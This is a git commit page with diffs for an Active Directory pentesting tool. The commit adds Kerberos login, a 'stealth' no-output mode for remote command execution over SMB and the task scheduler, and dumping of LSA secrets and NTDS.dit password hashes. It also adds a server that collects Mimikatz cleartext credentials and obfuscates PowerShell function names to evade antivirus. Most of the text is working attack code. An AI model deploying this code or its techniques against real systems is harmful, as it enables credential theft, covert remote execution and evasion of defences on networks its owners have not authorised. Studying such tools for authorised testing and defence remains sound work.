Everything is set! \o/

Recap on changes:
Complete refactor, script broken up to make it readable
Kerberos support (!!!! sweeeeet !!!!)
Logging has been overhauled (everything sent to stdout gets logged)
Added a noOutput attr on all three excution methods
Exposed a --no-output option for moar stealth when executing commands
Exposed a --lsa option to dump LSA secrets
Exposed the -history and -pwdLastSet options from secretdump
Fixed passpoldumper
Fixed the NTDS.dit dumper
HTTP/HTTPS server now removes powershell script comments
HTTP/HTTPS server randomizes powershell function names to bypass AV on
windows 10
--session and --luser output has been made decent (resolves #42)

Moar code style changes and bugfixes

TODO:
hook back up ninja and vss NTDS.dit dumping methods
Allow all three execution methods to utilize the smbserver as fallback
to retrieve command output
expose some options to control remote services
main
byt3bl33d3r 2015-11-10 01:57:04 -07:00
parent e84c55dc8c
commit 66dbf87af5
11 changed files with 189 additions and 106 deletions

View File

@ -25,14 +25,15 @@ class EXECUTOR:
elif settings.args.execm == 'smbexec': elif settings.args.execm == 'smbexec':
smb_exec = SMBEXEC(command, smb_exec = SMBEXEC(command,
'{}/SMB'.format(settings.args.port), '{}/SMB'.format(settings.args.port),
settings.args.user, settings.args.user,
settings.args.passwd, settings.args.passwd,
domain, domain,
settings.args.hash, settings.args.hash,
settings.args.aesKey, settings.args.aesKey,
settings.args.kerb, settings.args.kerb,
'SHARE', 'SHARE',
settings.args.share) settings.args.share,
noOutput)
smb_exec.run(host) smb_exec.run(host)
elif settings.args.execm == 'atexec': elif settings.args.execm == 'atexec':
@ -42,5 +43,6 @@ class EXECUTOR:
domain, domain,
settings.args.hash, settings.args.hash,
settings.args.aesKey, settings.args.aesKey,
settings.args.kerb) settings.args.kerb,
noOutput)
atsvc_exec.play(host) atsvc_exec.play(host)

View File

@ -77,7 +77,7 @@ def red(text):
return colored(text, 'red', attrs=['bold']) return colored(text, 'red', attrs=['bold'])
def shutdown(exit_code): def shutdown(exit_code):
print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE" print_status("KTHXBYE")
sys.exit(int(exit_code)) sys.exit(int(exit_code))
def root_error(): def root_error():

View File

@ -103,7 +103,9 @@ def connect(host):
if settings.args.lsa: if settings.args.lsa:
dumper.dump_LSA() dumper.dump_LSA()
if settings.args.ntds: if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds) dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup() dumper.cleanup()
if settings.args.pass_pol: if settings.args.pass_pol:

View File

@ -7,7 +7,7 @@ from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
from time import strftime from time import strftime, gmtime
class PassPolDump: class PassPolDump:
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
@ -18,7 +18,7 @@ class PassPolDump:
def __init__(self, protocols = None, def __init__(self, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols: if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
else: else:
self.__protocols = [protocols] self.__protocols = [protocols]
@ -40,13 +40,29 @@ class PassPolDump:
# Try all requested protocols until one works. # Try all requested protocols until one works.
entries = [] entries = []
for protocol in self.__protocols: for protocol in self.__protocols:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1] port = protodef[1]
logging.info("Trying protocol %s..." % protocol) logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
self.get_pass_pol(host) dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero): def convert(self, low, high, no_zero):
@ -83,8 +99,7 @@ class PassPolDump:
time = str(days) + " minute " time = str(days) + " minute "
return time return time
def get_pass_pol(self, host): def get_pass_pol(self, host, rpctransport, dce, domainHandle):
rpctransport, dce, domainHandle = self.connect(host)
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)

View File

@ -1,3 +1,4 @@
import logging
from logger import * from logger import *
from impacket.dcerpc.v5 import transport, srvs, wkst from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
@ -10,6 +11,7 @@ class RPCQUERY():
self.__domain = domain self.__domain = domain
self.__lmhash = '' self.__lmhash = ''
self.__nthash = '' self.__nthash = ''
self.__local_ip = None
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if hashes: if hashes:
self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash, self.__nthash = hashes.split(':')
@ -32,37 +34,45 @@ class RPCQUERY():
elif service == 'srvsvc': elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts) dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
return dce, rpctransport return dce, rpctransport
def enum_lusers(self, host): def enum_lusers(self, host):
dce, rpctransport = self.connect(host, 'wkssvc') dce, rpctransport = self.connect(host, 'wkssvc')
users_info = {} resp = wkst.hNetrWkstaUserEnum(dce, 1)
try: lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
except Exception:
resp = wkst.hNetrWkstaUserEnum(dce, 0)
lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
print_succ("{}:{} Logged on users:".format(host, settings.args.port)) print_succ("{}:{} Logged on users:".format(host, settings.args.port))
for luser in lusers: for user in lusers:
for fname in luser.fields.keys(): print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'],
print_message("{} {}".format(fname, yellow(luser[fname]))) user['wkui1_username'],
user['wkui1_logon_server'],
user['wkui1_oth_domains']))
def enum_sessions(self, host): def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc') dce, rpctransport = self.connect(host, 'srvsvc')
session_info = {} level = 502
try: try:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'] sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
except Exception: except Exception:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0) level = 0
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer'] sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
print_succ("{}:{} Current active sessions:".format(host, settings.args.port)) print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
for session in sessions: for session in sessions:
for fname in session.fields.keys(): if level == 502:
print_message("{} {}".format(fname, yellow(session[fname]))) if session['sesi502_cname'][:-1] != self.__local_ip:
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
elif level == 0:
if session['sesi0_cname'][:-1] != self.__local_ip:
print_att('\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self, host): def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc') dce, rpctransport = self.connect(host, 'srvsvc')
@ -74,4 +84,5 @@ class RPCQUERY():
print_succ("{}:{} Available disks:".format(host, settings.args.port)) print_succ("{}:{} Available disks:".format(host, settings.args.port))
for disk in resp['DiskInfoStruct']['Buffer']: for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys(): for dname in disk.fields.keys():
print_att(disk[dname]) if disk[dname] != '\x00':
print_att(disk[dname])

View File

@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class TSCH_EXEC: class TSCH_EXEC:
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False): def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
self.__username = username self.__username = username
self.__password = password self.__password = password
self.__domain = domain self.__domain = domain
@ -38,6 +38,7 @@ class TSCH_EXEC:
self.__aesKey = aesKey self.__aesKey = aesKey
self.__doKerberos = doKerberos self.__doKerberos = doKerberos
self.__command = command self.__command = command
self.__noOutput = noOutput
if hashes is not None: if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash, self.__nthash = hashes.split(':')
@ -61,8 +62,6 @@ class TSCH_EXEC:
def doStuff(self, rpctransport): def doStuff(self, rpctransport):
def output_callback(data): def output_callback(data):
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
print_succ('{} Executed command via ATEXEC'.format(peer))
print_att(data.strip()) print_att(data.strip())
dce = rpctransport.get_dce_rpc() dce = rpctransport.get_dce_rpc()
@ -112,11 +111,22 @@ class TSCH_EXEC:
<Actions Context="LocalSystem"> <Actions Context="LocalSystem">
<Exec> <Exec>
<Command>cmd.exe</Command> <Command>cmd.exe</Command>
<Arguments>/C %s &gt; %%windir%%\\Temp\\%s 2&gt;&amp;1</Arguments> """
if self.__noOutput is False:
xml+= """ <Arguments>/C %s &gt; %%windir%%\\Temp\\%s 2&gt;&amp;1</Arguments>
</Exec> </Exec>
</Actions> </Actions>
</Task> </Task>
""" % (self.__command, tmpFileName) """ % (self.__command, tmpFileName)
else:
xml+= """ <Arguments>/C %s</Arguments>
</Exec>
</Actions>
</Task>
""" % (self.__command)
logging.info("Task XML: {}".format(xml))
taskCreated = False taskCreated = False
try: try:
logging.info('Creating task \\%s' % tmpName) logging.info('Creating task \\%s' % tmpName)
@ -145,26 +155,32 @@ class TSCH_EXEC:
if taskCreated is True: if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
smbConnection = rpctransport.get_smb_connection() peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
waitOnce = True print_succ('{} Executed command via ATEXEC'.format(peer))
while True:
try: if self.__noOutput is False:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection = rpctransport.get_smb_connection()
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) waitOnce = True
break while True:
except Exception, e: try:
if str(e).find('SHARING') > 0: logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
sleep(3) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: break
if waitOnce is True: except Exception, e:
# We're giving it the chance to flush the file before giving up if str(e).find('SHARING') > 0:
sleep(3) sleep(3)
waitOnce = False elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
sleep(3)
waitOnce = False
else:
raise
else: else:
raise raise
else: logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
raise smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) else:
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) logging.info('Output retrieval disabled')
dce.disconnect() dce.disconnect()

View File

@ -1694,7 +1694,7 @@ class NTDSHashes:
if self.__pwdLastSet is True: if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print answer print_att(answer)
if self.__history: if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate( for i, (LMHashHistory, NTHashHistory) in enumerate(
@ -1705,7 +1705,7 @@ class NTDSHashes:
lmhash = hexlify(LMHashHistory) lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
print answer print_att(answer)
if outputFile is not None: if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n') self.__writeOutput(outputFile, answer + '\n')
@ -1888,7 +1888,7 @@ class NTDSHashes:
logging.info('Kerberos keys grabbed') logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys(): for itemKey in self.__kerberosKeys.keys():
print itemKey print_att(itemKey)
# And finally the cleartext pwds # And finally the cleartext pwds
if len(self.__clearTextPwds) > 0: if len(self.__clearTextPwds) > 0:
@ -1898,7 +1898,7 @@ class NTDSHashes:
logging.info('ClearText passwords grabbed') logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys(): for itemKey in self.__clearTextPwds.keys():
print itemKey print_att(itemKey)
# Closing output file # Closing output file
if self.__outputFileName is not None: if self.__outputFileName is not None:
@ -1940,14 +1940,14 @@ class DumpSecrets:
self.__securityHive = None #Local self.__securityHive = None #Local
self.__samHive = None #Local self.__samHive = None #Local
self.__ntdsFile = None #Local self.__ntdsFile = None #Local
self.__history = False #Might want to expose this #self.__history = False #Might want to expose this
self.__noLMHash = True self.__noLMHash = True
self.__isRemote = True self.__isRemote = True
self.__outputFileName = outputFile self.__outputFileName = outputFile
self.__doKerberos = kerberos self.__doKerberos = kerberos
self.__justDC = False #Might want to expose this self.__justDC = False #Might want to expose this
self.__justDCNTLM = False #Might want to expose this self.__justDCNTLM = True #Might want to expose this
self.__pwdLastSet = False #Might want to expose this #self.__pwdLastSet = False #Might want to expose this
self.__resumeFileName = None #Might want to expose this self.__resumeFileName = None #Might want to expose this
def getBootKey(self): def getBootKey(self):
@ -1998,12 +1998,10 @@ class DumpSecrets:
def do_remote_ops(self): def do_remote_ops(self):
bootKey = None bootKey = None
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos) self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry()
self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey()
bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes
# Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
self.__bootKey = bootKey self.__bootKey = bootKey
def dump_SAM(self): def dump_SAM(self):
@ -2035,7 +2033,7 @@ class DumpSecrets:
except Exception, e: except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e)) logging.error('LSA hashes extraction failed: %s' % str(e))
def dump_NTDS(self, method): def dump_NTDS(self, method, history, pwdLastSet):
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
vss = False vss = False
if method == 'vss': if method == 'vss':
@ -2044,17 +2042,18 @@ class DumpSecrets:
else: else:
NTDSFileName = None NTDSFileName = None
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history, print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=vss, justNTLM=self.__justDCNTLM, useVSSMethod=vss, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName) outputFileName=self.__outputFileName)
try: try:
self.__NTDSHashes.dump() self.__NTDSHashes.dump()
except Exception, e: except Exception, e:
logging.error(e) logging.error(e)
if method != 'vss': if method != 'vss':
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') logging.info('Something wen\'t wrong with the DRSUAPI approach')
def cleanup(self): def cleanup(self):
logging.info('Cleaning up... ') logging.info('Cleaning up... ')

View File

@ -50,8 +50,8 @@ class SMBEXEC:
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
} }
def __init__(self, command, protocols = None, def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None):
if not protocols: if not protocols:
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys() protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
@ -65,6 +65,7 @@ class SMBEXEC:
self.__nthash = '' self.__nthash = ''
self.__aesKey = aesKey self.__aesKey = aesKey
self.__doKerberos = doKerberos self.__doKerberos = doKerberos
self.__noOutput = noOutput
self.__share = share self.__share = share
self.__mode = mode self.__mode = mode
self.shell = None self.shell = None
@ -96,7 +97,7 @@ class SMBEXEC:
if self.__mode == 'SERVER': if self.__mode == 'SERVER':
serverThread = SMBServer() serverThread = SMBServer()
serverThread.start() serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell.onecmd(self.__command) self.shell.onecmd(self.__command)
self.shell.finish() self.shell.finish()
if self.__mode == 'SERVER': if self.__mode == 'SERVER':
@ -107,7 +108,7 @@ class SMBEXEC:
self.shell.finish() self.shell.finish()
class RemoteShell(cmd.Cmd): class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName): def __init__(self, share, rpc, mode, serviceName, noOutput):
cmd.Cmd.__init__(self) cmd.Cmd.__init__(self)
self.__share = share self.__share = share
self.__mode = mode self.__mode = mode
@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd):
self.__command = '' self.__command = ''
self.__shell = '%COMSPEC% /Q /c ' self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName self.__serviceName = serviceName
self.__noOutput = noOutput
self.__rpc = rpc self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute' self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd):
logging.critical(str(e)) logging.critical(str(e))
sys.exit(1) sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR) self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr) resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle'] self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('') if self.__noOutput is False:
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.transferClient = rpc.get_smb_connection()
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
else:
logging.info('Output retrieval disabled')
#self.do_cd('')
def finish(self): def finish(self):
# Just in case the service is still created # Just in case the service is still created
@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd):
def output_callback(data): def output_callback(data):
self.__outputBuffer += data self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
if self.__mode == 'SHARE': if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, self.__output, output_callback) self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output) self.transferClient.deleteFile(self.__share, self.__output)
@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd):
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data): def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile if self.__noOutput is False:
if self.__mode == 'SERVER': command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + self.__copyBack if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile command += ' & ' + 'del ' + self.__batchFile
logging.info('Command in batch file: {}'.format(command))
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle'] service = resp['lpServiceHandle']
@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd):
self.execute_remote(data) self.execute_remote(data)
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername())) peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer)) print_succ("{} Executed command via SMBEXEC".format(peer))
print_att(self.__outputBuffer.strip()) if self.__noOutput is False:
print_att(self.__outputBuffer.strip())
self.__outputBuffer = '' self.__outputBuffer = ''

View File

@ -10,6 +10,7 @@ import BaseHTTPServer
import ssl import ssl
func_name = re.compile('CHANGE_ME_HERE') func_name = re.compile('CHANGE_ME_HERE')
comments = re.compile('#.+')
class MimikatzServer(BaseHTTPRequestHandler): class MimikatzServer(BaseHTTPRequestHandler):
@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
with open('hosted/'+ self.path[4:], 'rb') as script: with open('hosted/'+ self.path[4:], 'rb') as script:
ps_script = script.read() ps_script = script.read()
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
ps_script = comments.sub('', ps_script)
self.wfile.write(ps_script) self.wfile.write(ps_script)
elif settings.args.path: elif settings.args.path:
@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler):
data = self.rfile.read(length) data = self.rfile.read(length)
if settings.args.mimikatz: if settings.args.mimikatz:
buf = StringIO(data).readlines() try:
i = 0 buf = StringIO(data).readlines()
while i < len(buf): i = 0
if ('Password' in buf[i]) and ('(null)' not in buf[i]): while i < len(buf):
passw = buf[i].split(':')[1].strip() if ('Password' in buf[i]) and ('(null)' not in buf[i]):
if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip() domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip() user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw))) print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
i += 1
i += 1
except Exception as e:
print_error("Error while parsing Mimikatz output: {}".format(e))
elif settings.args.mimi_cmd: elif settings.args.mimi_cmd:
print data print data

View File

@ -41,7 +41,10 @@ def smart_login(host, smb, domain):
user, passwd = user_pass.split(':') user, passwd = user_pass.split(':')
try: try:
smb.login(user, passwd, domain, lmhash, nthash) if settings.args.kerb:
smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, passwd, domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user settings.args.user = user
settings.args.passwd = passwd settings.args.passwd = passwd
@ -106,7 +109,10 @@ def smart_login(host, smb, domain):
if user == '': user = "''" if user == '': user = "''"
try: try:
smb.login(user, '', domain, lmhash, nthash) if settings.args.kerb:
smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, '', domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash)) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
settings.args.user = user settings.args.user = user
settings.args.hash = ntlm_hash settings.args.hash = ntlm_hash
@ -122,7 +128,10 @@ def smart_login(host, smb, domain):
if passwd == '': passwd = "''" if passwd == '': passwd = "''"
try: try:
smb.login(user, passwd, domain) if settings.args.kerb:
smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
else:
smb.login(user, passwd, domain)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user settings.args.user = user
settings.args.passwd = passwd settings.args.passwd = passwd

View File

@ -24,7 +24,7 @@ import sys
import os import os
VERSION = '2.0' VERSION = '2.0'
CODENAME = '\'I have to change the name of this thing\'' CODENAME = '\'I gotta change the name of this thing\''
if sys.platform == 'linux2': if sys.platform == 'linux2':
if os.geteuid() is not 0: if os.geteuid() is not 0:
@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description="""
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by: Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {} {}: {}
{}: {}
""".format(red('Version'), """.format(red('Version'),
yellow(VERSION), yellow(VERSION),
red('Codename'), red('Codename'),
yellow(CODENAME)), yellow(CODENAME)),
formatter_class=RawTextHelpFormatter, formatter_class=RawTextHelpFormatter,
version='2.0 - \'{}\''.format(CODENAME), version='2.0 - {}'.format(CODENAME),
epilog='There\'s been an awakening... have you felt it?') epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)") parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries") parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)') parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name") parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)') parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)") parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
